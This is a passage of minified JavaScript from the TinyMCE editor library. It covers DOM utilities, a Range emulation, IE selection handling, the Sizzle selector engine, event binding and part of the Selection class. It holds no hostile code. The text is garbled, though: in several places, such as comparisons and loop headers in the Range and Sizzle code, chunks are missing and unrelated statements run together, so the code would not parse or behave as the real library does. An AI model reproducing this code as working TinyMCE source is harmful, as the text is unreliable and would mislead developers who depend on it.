r=h.trim(x.nodeValue).length;if(!s.isBlock(x.parentNode)||r>0||r==0&&y(x)){return}}else{if(v==1){t=x.childNodes;if(t.length==1&&t[0]&&t[0].nodeType==1&&t[0].getAttribute("data-mce-type")=="bookmark"){x.parentNode.insertBefore(t[0],x)}if(t.length||/^(br|hr|input|img)$/i.test(x.nodeName)){return}}}s.remove(x)}return x}if(n&&m){j.setStart(n.parentNode,s.nodeIndex(n));j.setEnd(m.parentNode,s.nodeIndex(m));o=j.extractContents();j=s.createRng();j.setStart(m.parentNode,s.nodeIndex(m)+1);j.setEnd(n.parentNode,s.nodeIndex(n)+1);l=j.extractContents();p=n.parentNode;p.insertBefore(k(o),n);if(q){p.replaceChild(q,m)}else{p.insertBefore(m,n)}p.insertBefore(k(l),n);s.remove(n);return q||m}},bind:function(n,j,m,l){var k=this;if(!k.events){k.events=new h.dom.EventUtils()}return k.events.add(n,j,m,l||this)},unbind:function(m,j,l){var k=this;if(!k.events){k.events=new h.dom.EventUtils()}return k.events.remove(m,j,l)},_findSib:function(m,j,k){var l=this,n=j;if(m){if(e(n,"string")){n=function(o){return l.is(o,j)}}for(m=m[k];m;m=m[k]){if(n(m)){return m}}}return null},_isRes:function(j){return/^(top|left|bottom|right|width|height)/i.test(j)||/;\s*(top|left|bottom|right|width|height)/i.test(j)}});h.DOM=new h.dom.DOMUtils(document,{process_html:0})})(tinymce);(function(a){function b(c){var N=this,e=c.doc,S=0,E=1,j=2,D=true,R=false,U="startOffset",h="startContainer",P="endContainer",z="endOffset",k=tinymce.extend,n=c.nodeIndex;k(N,{startContainer:e,startOffset:0,endContainer:e,endOffset:0,collapsed:D,commonAncestorContainer:e,START_TO_START:0,START_TO_END:1,END_TO_END:2,END_TO_START:3,setStart:q,setEnd:s,setStartBefore:g,setStartAfter:I,setEndBefore:J,setEndAfter:u,collapse:A,selectNode:x,selectNodeContents:F,compareBoundaryPoints:v,deleteContents:p,extractContents:H,cloneContents:d,insertNode:C,surroundContents:M,cloneRange:K});function q(V,t){B(D,V,t)}function s(V,t){B(R,V,t)}function g(t){q(t.parentNode,n(t))}function I(t){q(t.parentNode,n(t)+1)}function J(t){s(t.parentNode,n(t))}function u(t){s(t.parentNode,n(t)+1)}function A(t){if(t){N[P]=N[h];N[z]=N[U]}else{N[h]=N[P];N[U]=N[z]}N.collapsed=D}function x(t){g(t);u(t)}function F(t){q(t,0);s(t,t.nodeType===1?t.childNodes.length:t.nodeValue.length)}function v(Y,t){var ab=N[h],W=N[U],aa=N[P],V=N[z],Z=t.startContainer,ad=t.startOffset,X=t.endContainer,ac=t.endOffset;if(Y===0){return G(ab,W,Z,ad)}if(Y===1){return G(aa,V,Z,ad)}if(Y===2){return G(aa,V,X,ac)}if(Y===3){return G(ab,W,X,ac)}}function p(){m(j)}function H(){return m(S)}function d(){return m(E)}function C(Y){var V=this[h],t=this[U],X,W;if((V.nodeType===3||V.nodeType===4)&&V.nodeValue){if(!t){V.parentNode.insertBefore(Y,V)}else{if(t>=V.nodeValue.length){c.insertAfter(Y,V)}else{X=V.splitText(t);V.parentNode.insertBefore(Y,X)}}}else{if(V.childNodes.length>0){W=V.childNodes[t]}if(W){V.insertBefore(Y,W)}else{V.appendChild(Y)}}}function M(V){var t=N.extractContents();N.insertNode(V);V.appendChild(t);N.selectNode(V)}function K(){return k(new b(c),{startContainer:N[h],startOffset:N[U],endContainer:N[P],endOffset:N[z],collapsed:N.collapsed,commonAncestorContainer:N.commonAncestorContainer})}function O(t,V){var W;if(t.nodeType==3){return t}if(V<0){return t}W=t.firstChild;while(W&&V>0){--V;W=W.nextSibling}if(W){return W}return t}function l(){return(N[h]==N[P]&&N[U]==N[z])}function G(X,Z,V,Y){var aa,W,t,ab,ad,ac;if(X==V){if(Z==Y){return 0}if(Z0){N.collapse(V)}}else{N.collapse(V)}N.collapsed=l();N.commonAncestorContainer=c.findCommonAncestor(N[h],N[P])}function m(ab){var aa,X=0,ad=0,V,Z,W,Y,t,ac;if(N[h]==N[P]){return f(ab)}for(aa=N[P],V=aa.parentNode;V;aa=V,V=V.parentNode){if(V==N[h]){return r(aa,ab)}++X}for(aa=N[h],V=aa.parentNode;V;aa=V,V=V.parentNode){if(V==N[P]){return T(aa,ab)}++ad}Z=ad-X;W=N[h];while(Z>0){W=W.parentNode;Z--}Y=N[P];while(Z<0){Y=Y.parentNode;Z++}for(t=W.parentNode,ac=Y.parentNode;t!=ac;t=t.parentNode,ac=ac.parentNode){W=t;Y=ac}return o(W,Y,ab)}function f(Z){var ab,Y,X,aa,t,W,V;if(Z!=j){ab=e.createDocumentFragment()}if(N[U]==N[z]){return ab}if(N[h].nodeType==3){Y=N[h].nodeValue;X=Y.substring(N[U],N[z]);if(Z!=E){N[h].deleteData(N[U],N[z]-N[U]);N.collapse(D)}if(Z==j){return}ab.appendChild(e.createTextNode(X));return ab}aa=O(N[h],N[U]);t=N[z]-N[U];while(t>0){W=aa.nextSibling;V=y(aa,Z);if(ab){ab.appendChild(V)}--t;aa=W}if(Z!=E){N.collapse(D)}return ab}function r(ab,Y){var aa,Z,V,t,X,W;if(Y!=j){aa=e.createDocumentFragment()}Z=i(ab,Y);if(aa){aa.appendChild(Z)}V=n(ab);t=V-N[U];if(t<=0){if(Y!=E){N.setEndBefore(ab);N.collapse(R)}return aa}Z=ab.previousSibling;while(t>0){X=Z.previousSibling;W=y(Z,Y);if(aa){aa.insertBefore(W,aa.firstChild)}--t;Z=X}if(Y!=E){N.setEndBefore(ab);N.collapse(R)}return aa}function T(Z,Y){var ab,V,aa,t,X,W;if(Y!=j){ab=e.createDocumentFragment()}aa=Q(Z,Y);if(ab){ab.appendChild(aa)}V=n(Z);++V;t=N[z]-V;aa=Z.nextSibling;while(t>0){X=aa.nextSibling;W=y(aa,Y);if(ab){ab.appendChild(W)}--t;aa=X}if(Y!=E){N.setStartAfter(Z);N.collapse(D)}return ab}function o(Z,t,ac){var W,ae,Y,aa,ab,V,ad,X;if(ac!=j){ae=e.createDocumentFragment()}W=Q(Z,ac);if(ae){ae.appendChild(W)}Y=Z.parentNode;aa=n(Z);ab=n(t);++aa;V=ab-aa;ad=Z.nextSibling;while(V>0){X=ad.nextSibling;W=y(ad,ac);if(ae){ae.appendChild(W)}ad=X;--V}W=i(t,ac);if(ae){ae.appendChild(W)}if(ac!=E){N.setStartAfter(Z);N.collapse(D)}return ae}function i(aa,ab){var W=O(N[P],N[z]-1),ac,Z,Y,t,V,X=W!=N[P];if(W==aa){return L(W,X,R,ab)}ac=W.parentNode;Z=L(ac,R,R,ab);while(ac){while(W){Y=W.previousSibling;t=L(W,X,R,ab);if(ab!=j){Z.insertBefore(t,Z.firstChild)}X=D;W=Y}if(ac==aa){return Z}W=ac.previousSibling;ac=ac.parentNode;V=L(ac,R,R,ab);if(ab!=j){V.appendChild(Z)}Z=V}}function Q(aa,ab){var X=O(N[h],N[U]),Y=X!=N[h],ac,Z,W,t,V;if(X==aa){return L(X,Y,D,ab)}ac=X.parentNode;Z=L(ac,R,D,ab);while(ac){while(X){W=X.nextSibling;t=L(X,Y,D,ab);if(ab!=j){Z.appendChild(t)}Y=D;X=W}if(ac==aa){return Z}X=ac.nextSibling;ac=ac.parentNode;V=L(ac,R,D,ab);if(ab!=j){V.appendChild(Z)}Z=V}}function L(t,Y,ab,ac){var X,W,Z,V,aa;if(Y){return y(t,ac)}if(t.nodeType==3){X=t.nodeValue;if(ab){V=N[U];W=X.substring(V);Z=X.substring(0,V)}else{V=N[z];W=X.substring(0,V);Z=X.substring(V)}if(ac!=E){t.nodeValue=Z}if(ac==j){return}aa=t.cloneNode(R);aa.nodeValue=W;return aa}if(ac==j){return}return t.cloneNode(R)}function y(V,t){if(t!=j){return t==E?V.cloneNode(D):V}V.parentNode.removeChild(V)}}a.Range=b})(tinymce.dom);(function(){function a(d){var b=this,h=d.dom,c=true,f=false;function e(i,j){var k,t=0,q,n,m,l,o,r,p=-1,s;k=i.duplicate();k.collapse(j);s=k.parentElement();if(s.ownerDocument!==d.dom.doc){return}while(s.contentEditable==="false"){s=s.parentNode}if(!s.hasChildNodes()){return{node:s,inside:1}}m=s.children;q=m.length-1;while(t<=q){r=Math.floor((t+q)/2);l=m[r];k.moveToElementText(l);p=k.compareEndPoints(j?"StartToStart":"EndToEnd",i);if(p>0){q=r-1}else{if(p<0){t=r+1}else{return{node:l}}}}if(p<0){if(!l){k.moveToElementText(s);k.collapse(true);l=s;n=true}else{k.collapse(false)}k.setEndPoint(j?"EndToStart":"EndToEnd",i);if(k.compareEndPoints(j?"StartToStart":"StartToEnd",i)>0){k=i.duplicate();k.collapse(j);o=-1;while(s==k.parentElement()){if(k.move("character",-1)==0){break}o++}}o=o||k.text.replace("\r\n"," ").length}else{k.collapse(true);k.setEndPoint(j?"StartToStart":"StartToEnd",i);o=k.text.replace("\r\n"," ").length}return{node:l,position:p,offset:o,inside:n}}function g(){var i=d.getRng(),r=h.createRng(),l,k,p,q,m,j;l=i.item?i.item(0):i.parentElement();if(l.ownerDocument!=h.doc){return r}k=d.isCollapsed();if(i.item){r.setStart(l.parentNode,h.nodeIndex(l));r.setEnd(r.startContainer,r.startOffset+1);return r}function o(A){var u=e(i,A),s,y,z=0,x,v,t;s=u.node;y=u.offset;if(u.inside&&!s.hasChildNodes()){r[A?"setStart":"setEnd"](s,0);return}if(y===v){r[A?"setStartBefore":"setEndAfter"](s);return}if(u.position<0){x=u.inside?s.firstChild:s.nextSibling;if(!x){r[A?"setStartAfter":"setEndAfter"](s);return}if(!y){if(x.nodeType==3){r[A?"setStart":"setEnd"](x,0)}else{r[A?"setStartBefore":"setEndBefore"](x)}return}while(x){t=x.nodeValue;z+=t.length;if(z>=y){s=x;z-=y;z=t.length-z;break}x=x.nextSibling}}else{x=s.previousSibling;if(!x){return r[A?"setStartBefore":"setEndBefore"](s)}if(!y){if(s.nodeType==3){r[A?"setStart":"setEnd"](x,s.nodeValue.length)}else{r[A?"setStartAfter":"setEndAfter"](x)}return}while(x){z+=x.nodeValue.length;if(z>=y){s=x;z-=y;break}x=x.previousSibling}}r[A?"setStart":"setEnd"](s,z)}try{o(true);if(!k){o()}}catch(n){if(n.number==-2147024809){m=b.getBookmark(2);p=i.duplicate();p.collapse(true);l=p.parentElement();if(!k){p=i.duplicate();p.collapse(false);q=p.parentElement();q.innerHTML=q.innerHTML}l.innerHTML=l.innerHTML;b.moveToBookmark(m);i=d.getRng();o(true);if(!k){o()}}else{throw n}}return r}this.getBookmark=function(m){var j=d.getRng(),o,i,l={};function n(u){var u,t,p,s,r,q=[];t=u.parentNode;p=h.getRoot().parentNode;while(t!=p&&t.nodeType!==9){s=t.children;r=s.length;while(r--){if(u===s[r]){q.push(r);break}}u=t;t=t.parentNode}return q}function k(q){var p;p=e(j,q);if(p){return{position:p.position,offset:p.offset,indexes:n(p.node),inside:p.inside}}}if(m===2){if(!j.item){l.start=k(true);if(!d.isCollapsed()){l.end=k()}}else{l.start={ctrl:true,indexes:n(j.item(0))}}}return l};this.moveToBookmark=function(k){var j,i=h.doc.body;function m(o){var r,q,n,p;r=h.getRoot();for(q=o.length-1;q>=0;q--){p=r.children;n=o[q];if(n<=p.length-1){r=p[n]}}return r}function l(r){var n=k[r?"start":"end"],q,p,o;if(n){q=n.position>0;p=i.createTextRange();p.moveToElementText(m(n.indexes));offset=n.offset;if(offset!==o){p.collapse(n.inside||q);p.moveStart("character",q?-offset:offset)}else{p.collapse(r)}j.setEndPoint(r?"StartToStart":"EndToStart",p);if(r){j.collapse(true)}}}if(k.start){if(k.start.ctrl){j=i.createControlRange();j.addElement(m(k.start.indexes));j.select()}else{j=i.createTextRange();l(true);l();j.select()}}};this.addRange=function(i){var n,l,k,p,s,q,r=d.dom.doc,m=r.body;function j(z){var u,y,t,x,v;t=h.create("a");u=z?k:s;y=z?p:q;x=n.duplicate();if(u==r||u==r.documentElement){u=m;y=0}if(u.nodeType==3){u.parentNode.insertBefore(t,u);x.moveToElementText(t);x.moveStart("character",y);h.remove(t);n.setEndPoint(z?"StartToStart":"EndToEnd",x)}else{v=u.childNodes;if(v.length){if(y>=v.length){h.insertAfter(t,v[v.length-1])}else{u.insertBefore(t,v[y])}x.moveToElementText(t)}else{t=r.createTextNode("\uFEFF");u.appendChild(t);x.moveToElementText(t.parentNode);x.collapse(c)}n.setEndPoint(z?"StartToStart":"EndToEnd",x);h.remove(t)}}k=i.startContainer;p=i.startOffset;s=i.endContainer;q=i.endOffset;n=m.createTextRange();if(k==s&&k.nodeType==1&&p==q-1){if(p==q-1){try{l=m.createControlRange();l.addElement(k.childNodes[p]);l.select();return}catch(o){}}}j(true);j();n.select()};this.getRangeAt=g}tinymce.dom.TridentSelection=a})();(function(){var p=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,j=0,d=Object.prototype.toString,o=false,i=true;[0,0].sort(function(){i=false;return 0});var b=function(v,e,z,A){z=z||[];e=e||document;var C=e;if(e.nodeType!==1&&e.nodeType!==9){return[]}if(!v||typeof v!=="string"){return z}var x=[],s,E,H,r,u=true,t=b.isXML(e),B=v,D,G,F,y;do{p.exec("");s=p.exec(B);if(s){B=s[3];x.push(s[1]);if(s[2]){r=s[3];break}}}while(s);if(x.length>1&&k.exec(v)){if(x.length===2&&f.relative[x[0]]){E=h(x[0]+x[1],e)}else{E=f.relative[x[0]]?[e]:b(x.shift(),e);while(x.length){v=x.shift();if(f.relative[v]){v+=x.shift()}E=h(v,E)}}}else{if(!A&&x.length>1&&e.nodeType===9&&!t&&f.match.ID.test(x[0])&&!f.match.ID.test(x[x.length-1])){D=b.find(x.shift(),e,t);e=D.expr?b.filter(D.expr,D.set)[0]:D.set[0]}if(e){D=A?{expr:x.pop(),set:a(A)}:b.find(x.pop(),x.length===1&&(x[0]==="~"||x[0]==="+")&&e.parentNode?e.parentNode:e,t);E=D.expr?b.filter(D.expr,D.set):D.set;if(x.length>0){H=a(E)}else{u=false}while(x.length){G=x.pop();F=G;if(!f.relative[G]){G=""}else{F=x.pop()}if(F==null){F=e}f.relative[G](H,F,t)}}else{H=x=[]}}if(!H){H=E}if(!H){b.error(G||v)}if(d.call(H)==="[object Array]"){if(!u){z.push.apply(z,H)}else{if(e&&e.nodeType===1){for(y=0;H[y]!=null;y++){if(H[y]&&(H[y]===true||H[y].nodeType===1&&b.contains(e,H[y]))){z.push(E[y])}}}else{for(y=0;H[y]!=null;y++){if(H[y]&&H[y].nodeType===1){z.push(E[y])}}}}}else{a(H,z)}if(r){b(r,C,z,A);b.uniqueSort(z)}return z};b.uniqueSort=function(r){if(c){o=i;r.sort(c);if(o){for(var e=1;e":function(x,r){var u=typeof r==="string",v,s=0,e=x.length;if(u&&!/\W/.test(r)){r=r.toLowerCase();for(;s=0)){if(!s){e.push(v)}}else{if(s){r[u]=false}}}}return false},ID:function(e){return e[1].replace(/\\/g,"")},TAG:function(r,e){return r[1].toLowerCase()},CHILD:function(e){if(e[1]==="nth"){var r=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(e[2]==="even"&&"2n"||e[2]==="odd"&&"2n+1"||!/\D/.test(e[2])&&"0n+"+e[2]||e[2]);e[2]=(r[1]+(r[2]||1))-0;e[3]=r[3]-0}e[0]=j++;return e},ATTR:function(u,r,s,e,v,x){var t=u[1].replace(/\\/g,"");if(!x&&f.attrMap[t]){u[1]=f.attrMap[t]}if(u[2]==="~="){u[4]=" "+u[4]+" "}return u},PSEUDO:function(u,r,s,e,v){if(u[1]==="not"){if((p.exec(u[3])||"").length>1||/^\w/.test(u[3])){u[3]=b(u[3],null,null,r)}else{var t=b.filter(u[3],r,s,true^v);if(!s){e.push.apply(e,t)}return false}}else{if(f.match.POS.test(u[0])||f.match.CHILD.test(u[0])){return true}}return u},POS:function(e){e.unshift(true);return e}},filters:{enabled:function(e){return e.disabled===false&&e.type!=="hidden"},disabled:function(e){return e.disabled===true},checked:function(e){return e.checked===true},selected:function(e){e.parentNode.selectedIndex;return e.selected===true},parent:function(e){return !!e.firstChild},empty:function(e){return !e.firstChild},has:function(s,r,e){return !!b(e[3],s).length},header:function(e){return(/h\d/i).test(e.nodeName)},text:function(e){return"text"===e.type},radio:function(e){return"radio"===e.type},checkbox:function(e){return"checkbox"===e.type},file:function(e){return"file"===e.type},password:function(e){return"password"===e.type},submit:function(e){return"submit"===e.type},image:function(e){return"image"===e.type},reset:function(e){return"reset"===e.type},button:function(e){return"button"===e.type||e.nodeName.toLowerCase()==="button"},input:function(e){return(/input|select|textarea|button/i).test(e.nodeName)}},setFilters:{first:function(r,e){return e===0},last:function(s,r,e,t){return r===t.length-1},even:function(r,e){return e%2===0},odd:function(r,e){return e%2===1},lt:function(s,r,e){return re[3]-0},nth:function(s,r,e){return e[3]-0===r},eq:function(s,r,e){return e[3]-0===r}},filter:{PSEUDO:function(s,y,x,z){var e=y[1],r=f.filters[e];if(r){return r(s,x,y,z)}else{if(e==="contains"){return(s.textContent||s.innerText||b.getText([s])||"").indexOf(y[3])>=0}else{if(e==="not"){var t=y[3];for(var v=0,u=t.length;v=0)}}},ID:function(r,e){return r.nodeType===1&&r.getAttribute("id")===e},TAG:function(r,e){return(e==="*"&&r.nodeType===1)||r.nodeName.toLowerCase()===e},CLASS:function(r,e){return(" "+(r.className||r.getAttribute("class"))+" ").indexOf(e)>-1},ATTR:function(v,t){var s=t[1],e=f.attrHandle[s]?f.attrHandle[s](v):v[s]!=null?v[s]:v.getAttribute(s),x=e+"",u=t[2],r=t[4];return e==null?u==="!=":u==="="?x===r:u==="*="?x.indexOf(r)>=0:u==="~="?(" "+x+" ").indexOf(r)>=0:!r?x&&e!==false:u==="!="?x!==r:u==="^="?x.indexOf(r)===0:u==="$="?x.substr(x.length-r.length)===r:u==="|="?x===r||x.substr(0,r.length+1)===r+"-":false},POS:function(u,r,s,v){var e=r[2],t=f.setFilters[e];if(t){return t(u,s,r,v)}}}};var k=f.match.POS,g=function(r,e){return"\\"+(e-0+1)};for(var m in f.match){f.match[m]=new RegExp(f.match[m].source+(/(?![^\[]*\])(?![^\(]*\))/.source));f.leftMatch[m]=new RegExp(/(^(?:.|\r|\n)*?)/.source+f.match[m].source.replace(/\\(\d+)/g,g))}var a=function(r,e){r=Array.prototype.slice.call(r,0);if(e){e.push.apply(e,r);return e}return r};try{Array.prototype.slice.call(document.documentElement.childNodes,0)[0].nodeType}catch(l){a=function(u,t){var r=t||[],s=0;if(d.call(u)==="[object Array]"){Array.prototype.push.apply(r,u)}else{if(typeof u.length==="number"){for(var e=u.length;s";var e=document.documentElement;e.insertBefore(r,e.firstChild);if(document.getElementById(s)){f.find.ID=function(u,v,x){if(typeof v.getElementById!=="undefined"&&!x){var t=v.getElementById(u[1]);return t?t.id===u[1]||typeof t.getAttributeNode!=="undefined"&&t.getAttributeNode("id").nodeValue===u[1]?[t]:undefined:[]}};f.filter.ID=function(v,t){var u=typeof v.getAttributeNode!=="undefined"&&v.getAttributeNode("id");return v.nodeType===1&&u&&u.nodeValue===t}}e.removeChild(r);e=r=null})();(function(){var e=document.createElement("div");e.appendChild(document.createComment(""));if(e.getElementsByTagName("*").length>0){f.find.TAG=function(r,v){var u=v.getElementsByTagName(r[1]);if(r[1]==="*"){var t=[];for(var s=0;u[s];s++){if(u[s].nodeType===1){t.push(u[s])}}u=t}return u}}e.innerHTML="";if(e.firstChild&&typeof e.firstChild.getAttribute!=="undefined"&&e.firstChild.getAttribute("href")!=="#"){f.attrHandle.href=function(r){return r.getAttribute("href",2)}}e=null})();if(document.querySelectorAll){(function(){var e=b,s=document.createElement("div");s.innerHTML="

    ";if(s.querySelectorAll&&s.querySelectorAll(".TEST").length===0){return}b=function(x,v,t,u){v=v||document;if(!u&&v.nodeType===9&&!b.isXML(v)){try{return a(v.querySelectorAll(x),t)}catch(y){}}return e(x,v,t,u)};for(var r in e){b[r]=e[r]}s=null})()}(function(){var e=document.createElement("div");e.innerHTML="
    ";if(!e.getElementsByClassName||e.getElementsByClassName("e").length===0){return}e.lastChild.className="e";if(e.getElementsByClassName("e").length===1){return}f.order.splice(1,0,"CLASS");f.find.CLASS=function(r,s,t){if(typeof s.getElementsByClassName!=="undefined"&&!t){return s.getElementsByClassName(r[1])}};e=null})();function n(r,x,v,A,y,z){for(var t=0,s=A.length;t0){u=e;break}}}e=e[r]}A[t]=u}}}b.contains=document.compareDocumentPosition?function(r,e){return !!(r.compareDocumentPosition(e)&16)}:function(r,e){return r!==e&&(r.contains?r.contains(e):true)};b.isXML=function(e){var r=(e?e.ownerDocument||e:0).documentElement;return r?r.nodeName!=="HTML":false};var h=function(e,y){var t=[],u="",v,s=y.nodeType?[y]:y;while((v=f.match.PSEUDO.exec(e))){u+=v[0];e=e.replace(f.match.PSEUDO,"")}e=f.relative[e]?e+"*":e;for(var x=0,r=s.length;x=0;h--){k=g[h];if(k.obj===l){j._remove(k.obj,k.name,k.cfunc);k.obj=k.cfunc=null;g.splice(h,1)}}}},cancel:function(g){if(!g){return false}this.stop(g);return this.prevent(g)},stop:function(g){if(g.stopPropagation){g.stopPropagation()}else{g.cancelBubble=true}return false},prevent:function(g){if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}return false},destroy:function(){var g=this;f(g.events,function(j,h){g._remove(j.obj,j.name,j.cfunc);j.obj=j.cfunc=null});g.events=[];g=null},_add:function(h,i,g){if(h.attachEvent){h.attachEvent("on"+i,g)}else{if(h.addEventListener){h.addEventListener(i,g,false)}else{h["on"+i]=g}}},_remove:function(i,j,h){if(i){try{if(i.detachEvent){i.detachEvent("on"+j,h)}else{if(i.removeEventListener){i.removeEventListener(j,h,false)}else{i["on"+j]=null}}}catch(g){}}},_pageInit:function(h){var g=this;if(g.domLoaded){return}g.domLoaded=true;f(g.inits,function(i){i()});g.inits=[]},_wait:function(i){var g=this,h=i.document;if(i.tinyMCE_GZ&&tinyMCE_GZ.loaded){g.domLoaded=1;return}if(h.readyState==="complete"){g._pageInit(i);return}if(h.attachEvent){h.attachEvent("onreadystatechange",function(){if(h.readyState==="complete"){h.detachEvent("onreadystatechange",arguments.callee);g._pageInit(i)}});if(h.documentElement.doScroll&&i==i.top){(function(){if(g.domLoaded){return}try{h.documentElement.doScroll("left")}catch(j){setTimeout(arguments.callee,0);return}g._pageInit(i)})()}}else{if(h.addEventListener){g._add(i,"DOMContentLoaded",function(){g._pageInit(i)})}}g._add(i,"load",function(){g._pageInit(i)})},_stoppers:{preventDefault:function(){this.returnValue=false},stopPropagation:function(){this.cancelBubble=true}}});a=d.dom.Event=new d.dom.EventUtils();a._wait(window);d.addUnload(function(){a.destroy()})})(tinymce);(function(a){a.dom.Element=function(f,d){var b=this,e,c;b.settings=d=d||{};b.id=f;b.dom=e=d.dom||a.DOM;if(!a.isIE){c=e.get(b.id)}a.each(("getPos,getRect,getParent,add,setStyle,getStyle,setStyles,setAttrib,setAttribs,getAttrib,addClass,removeClass,hasClass,getOuterHTML,setOuterHTML,remove,show,hide,isHidden,setHTML,get").split(/,/),function(g){b[g]=function(){var h=[f],j;for(j=0;j"+(h.item?h.item(0).outerHTML:h.htmlText);l.removeChild(l.firstChild)}else{l.innerHTML=h.toString()}}if(/^\s/.test(l.innerHTML)){i=" "}if(/\s+$/.test(l.innerHTML)){k=" "}g.getInner=true;g.content=f.isCollapsed()?"":i+f.serializer.serialize(l,g)+k;f.onGetContent.dispatch(f,g);return g.content},setContent:function(g,i){var n=this,f=n.getRng(),j,k=n.win.document,m,l;i=i||{format:"html"};i.set=true;g=i.content=g;if(!i.no_events){n.onBeforeSetContent.dispatch(n,i)}g=i.content;if(f.insertNode){g+='_';if(f.startContainer==k&&f.endContainer==k){k.body.innerHTML=g}else{f.deleteContents();if(k.body.childNodes.length==0){k.body.innerHTML=g}else{if(f.createContextualFragment){f.insertNode(f.createContextualFragment(g))}else{m=k.createDocumentFragment();l=k.createElement("div");m.appendChild(l);l.outerHTML=g;f.insertNode(m)}}}j=n.dom.get("__caret");f=k.createRange();f.setStartBefore(j);f.setEndBefore(j);n.setRng(f);n.dom.remove("__caret");try{n.setRng(f)}catch(h){}}else{if(f.item){k.execCommand("Delete",false,null);f=n.getRng()}if(/^\s+/.test(g)){f.pasteHTML('_'+g);n.dom.remove("__mce_tmp")}else{f.pasteHTML(g)}}if(!i.no_events){n.onSetContent.dispatch(n,i)}},getStart:function(){var g=this.getRng(),h,f,j,i;if(g.duplicate||g.item){if(g.item){return g.item(0)}j=g.duplicate();j.collapse(1);h=j.parentElement();f=i=g.parentElement();while(i=i.parentNode){if(i==h){h=f;break}}return h}else{h=g.startContainer;if(h.nodeType==1&&h.hasChildNodes()){h=h.childNodes[Math.min(h.childNodes.length-1,g.startOffset)]}if(h&&h.nodeType==3){return h.parentNode}return h}},getEnd:function(){var g=this,h=g.getRng(),i,f;if(h.duplicate||h.item){if(h.item){return h.item(0)}h=h.duplicate();h.collapse(0);i=h.parentElement();if(i&&i.nodeName=="BODY"){return i.lastChild||i}return i}else{i=h.endContainer;f=h.endOffset;if(i.nodeType==1&&i.hasChildNodes()){i=i.childNodes[f>0?f-1:f]}if(i&&i.nodeType==3){return i.parentNode}return i}},getBookmark:function(r,s){var v=this,m=v.dom,g,j,i,n,h,o,p,l="\uFEFF",u;function f(x,y){var t=0;d(m.select(x),function(A,z){if(A==y){t=z}});return t}if(r==2){function k(){var x=v.getRng(true),t=m.getRoot(),y={};function z(C,H){var B=C[H?"startContainer":"endContainer"],G=C[H?"startOffset":"endOffset"],A=[],D,F,E=0;if(B.nodeType==3){if(s){for(D=B.previousSibling;D&&D.nodeType==3;D=D.previousSibling){G+=D.nodeValue.length}}A.push(G)}else{F=B.childNodes;if(G>=F.length&&F.length){E=1;G=Math.max(0,F.length-1)}A.push(v.dom.nodeIndex(F[G],s)+E)}for(;B&&B!=t;B=B.parentNode){A.push(v.dom.nodeIndex(B,s))}return A}y.start=z(x,true);if(!v.isCollapsed()){y.end=z(x)}return y}if(v.tridentSel){return v.tridentSel.getBookmark(r)}return k()}if(r){return{rng:v.getRng()}}g=v.getRng();i=m.uniqueId();n=tinyMCE.activeEditor.selection.isCollapsed();u="overflow:hidden;line-height:0px";if(g.duplicate||g.item){if(!g.item){j=g.duplicate();try{g.collapse();g.pasteHTML(''+l+"");if(!n){j.collapse(false);g.moveToElementText(j.parentElement());if(g.compareEndPoints("StartToEnd",j)==0){j.move("character",-1)}j.pasteHTML(''+l+"")}}catch(q){return null}}else{o=g.item(0);h=o.nodeName;return{name:h,index:f(h,o)}}}else{o=v.getNode();h=o.nodeName;if(h=="IMG"){return{name:h,index:f(h,o)}}j=g.cloneRange();if(!n){j.collapse(false);j.insertNode(m.create("span",{"data-mce-type":"bookmark",id:i+"_end",style:u},l))}g.collapse(true);g.insertNode(m.create("span",{"data-mce-type":"bookmark",id:i+"_start",style:u},l))}v.moveToBookmark({id:i,keep:1});return{id:i}},moveToBookmark:function(n){var r=this,l=r.dom,i,h,f,q,j,s,o,p;if(n){if(n.start){f=l.createRng();q=l.getRoot();function g(z){var t=n[z?"start":"end"],v,x,y,u;if(t){y=t[0];for(x=q,v=t.length-1;v>=1;v--){u=x.childNodes;if(t[v]>u.length-1){return}x=u[t[v]]}if(x.nodeType===3){y=Math.min(t[0],x.nodeValue.length)}if(x.nodeType===1){y=Math.min(t[0],x.childNodes.length)}if(z){f.setStart(x,y)}else{f.setEnd(x,y)}}return true}if(r.tridentSel){return r.tridentSel.moveToBookmark(n)}if(g(true)&&g()){r.setRng(f)}}else{if(n.id){function k(A){var u=l.get(n.id+"_"+A),z,t,x,y,v=n.keep;if(u){z=u.parentNode;if(A=="start"){if(!v){t=l.nodeIndex(u)}else{z=u.firstChild;t=1}j=s=z;o=p=t}else{if(!v){t=l.nodeIndex(u)}else{z=u.firstChild;t=1}s=z;p=t}if(!v){y=u.previousSibling;x=u.nextSibling;d(c.grep(u.childNodes),function(B){if(B.nodeType==3){B.nodeValue=B.nodeValue.replace(/\uFEFF/g,"")}});while(u=l.get(n.id+"_"+A)){l.remove(u,1)}if(y&&x&&y.nodeType==x.nodeType&&y.nodeType==3&&!c.isOpera){t=y.nodeValue.length;y.appendData(x.nodeValue);l.remove(x);if(A=="start"){j=s=y;o=p=t}else{s=y;p=t}}}}}function m(t){if(l.isBlock(t)&&!t.innerHTML){t.innerHTML=!a?'
    ':" "}return t}k("start");k("end");if(j){f=l.createRng();f.setStart(m(j),o);f.setEnd(m(s),p);r.setRng(f)}}else{if(n.name){r.select(l.select(n.name)[n.index])}else{if(n.rng){r.setRng(n.rng)}}}}}},select:function(k,j){var i=this,l=i.dom,g=l.createRng(),f;if(k){f=l.nodeIndex(k);g.setStart(k.parentNode,f);g.setEnd(k.parentNode,f+1);if(j){function h(m,o){var n=new c.dom.TreeWalker(m,m);do{if(m.nodeType==3&&c.trim(m.nodeValue).length!=0){if(o){g.setStart(m,0)}else{g.setEnd(m,m.nodeValue.length)}return}if(m.nodeName=="BR"){if(o){g.setStartBefore(m)}else{g.setEndBefore(m)}return}}while(m=(o?n.next():n.prev()))}h(k,1);h(k)}i.setRng(g)}return k},isCollapsed:function(){var f=this,h=f.getRng(),g=f.getSel();if(!h||h.item){return false}if(h.compareEndPoints){return h.compareEndPoints("StartToEnd",h)===0}return !g||h.collapsed},collapse:function(f){var h=this,g=h.getRng(),i;if(g.item){i=g.item(0);g=h.win.document.body.createTextRange();g.moveToElementText(i)}g.collapse(!!f);h.setRng(g)},getSel:function(){var g=this,f=this.win;return f.getSelection?f.getSelection():f.document.selection},getRng:function(l){var 